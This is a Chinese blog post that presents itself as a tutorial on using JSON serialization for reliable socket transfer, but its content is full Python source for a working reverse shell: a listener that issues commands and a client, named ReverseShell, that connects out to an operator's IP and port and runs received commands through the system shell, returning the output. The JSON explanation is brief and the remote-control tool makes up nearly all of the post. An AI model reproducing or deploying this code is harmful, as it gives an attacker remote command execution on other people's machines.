利用JSON对数据进行序列化(Serialization)实现客户端与服务端的可靠传输

本代码的主要环节在于实现客户端与服务端的可靠传输,方法是利用JSON对传输的数据进行封装。

在发送端,利用socket发送数据之前,先将数据封装为json格式。而在接收端恰恰相反。

在接收端需要加一个判断ValueError,如果说捕捉到ValueError异常,说明数据传输还没有完成,导致JSON 解封装出错,此时需要继续循环直到所有的数据的都接收完成,然后将数据进行解封装。这样即使传输的数据大于1024字节(缓冲大小),也可以实现可靠的接收。

 

服务端代码:

import socket
import sys
import json


class Reverseserver:
    def __init__(self,port):
        self.port = port
        server_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        try:
            server_s.bind(('0.0.0.0', self.port))
            server_s.listen(5)
            print("Waiting for connection.....")
            self.connection, self.client_address = server_s.accept()
            print("Connected from : %s %s" % (self.client_address[0], self.client_address[1]))
            
        except Exception as e:
            print('Failed to set up server')
            print(e)
            sys.exit()

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8'))
    

    def reliable_receive(self):
        received_json_data = ""
        while True:
            try:
                received_json_data = received_json_data + self.connection.recv(1024).decode('utf-8')
                return json.loads(received_json_data)
            except ValueError:
                continue

    
    def execute_remote(self, command):
        self.reliable_send(command)
        if command[0] == 'exit':
            self.connection.close()
            sys.exit(0)
        return self.reliable_receive()


    def run(self):
        while True:
            command = input("%s $ " % str(self.client_address))
            command = command.split(" ")
            res = self.execute_remote(command)
            print(res)

my_server = Reverseserver(8888)
my_server.run()

 

 

 

 

客户端代码:

import subprocess
import optparse
import sys
import socket
import json
import os

class ReverseShell:
    def __init__(self, server_ip, port):
        self.server_ip = server_ip
        self.port = port
        self.client_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.client_s.connect((server_ip, self.port))
    
    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.client_s.send(json_data.encode('utf-8'))
    

    def reliable_receive(self):
        received_json_data = ""
        while True:
            try:
                received_json_data = received_json_data + self.client_s.recv(1024).decode('utf-8')
                return json.loads(received_json_data)
            except ValueError:
                continue

    def execute_command(self, command):

        try:
            res = subprocess.check_output(command, shell=True,stderr=subprocess.STDOUT, encoding='GBK')
            return res
        except:
            return 'Failed to execute'


    def change_to_directory(self, path):
        os.chdir(path)
        return "Changed to the directory: %s" % path


    def start(self):
        while True:
            command = self.reliable_receive()
            if command[0] == 'exit':
                self.client_s.close()
                sys.exit(0)
            elif command[0] == 'cd' and len(command)>1:
                output = self.change_to_directory(command[1])
            # print(receive_data)
            else:
                output = self.execute_command(command)
            self.reliable_send(output)
        self.client_s.close()
        



if __name__ == "__main__":
    parser = optparse.OptionParser(usage='<Program -s IP -p port')
    parser.add_option('-s', '--server', dest='server_ip', type='string', help="Sepcify the IP address of server")
    parser.add_option('-p', '--port', dest='port', type='int', help='Specify the port of server')
    options, args = parser.parse_args()
    if options.server_ip is None:
        print(parser.usage)
        sys.exit()
    if options.port is None:
        print(parser.usage)
    server_ip = options.server_ip
    port = options.port
    my_reserver_shell = ReverseShell(server_ip, port)
    my_reserver_shell.start()

 

 

 

posted @ 2022-04-07 10:22  Jason_huawen  阅读(411)  评论(0编辑  收藏  举报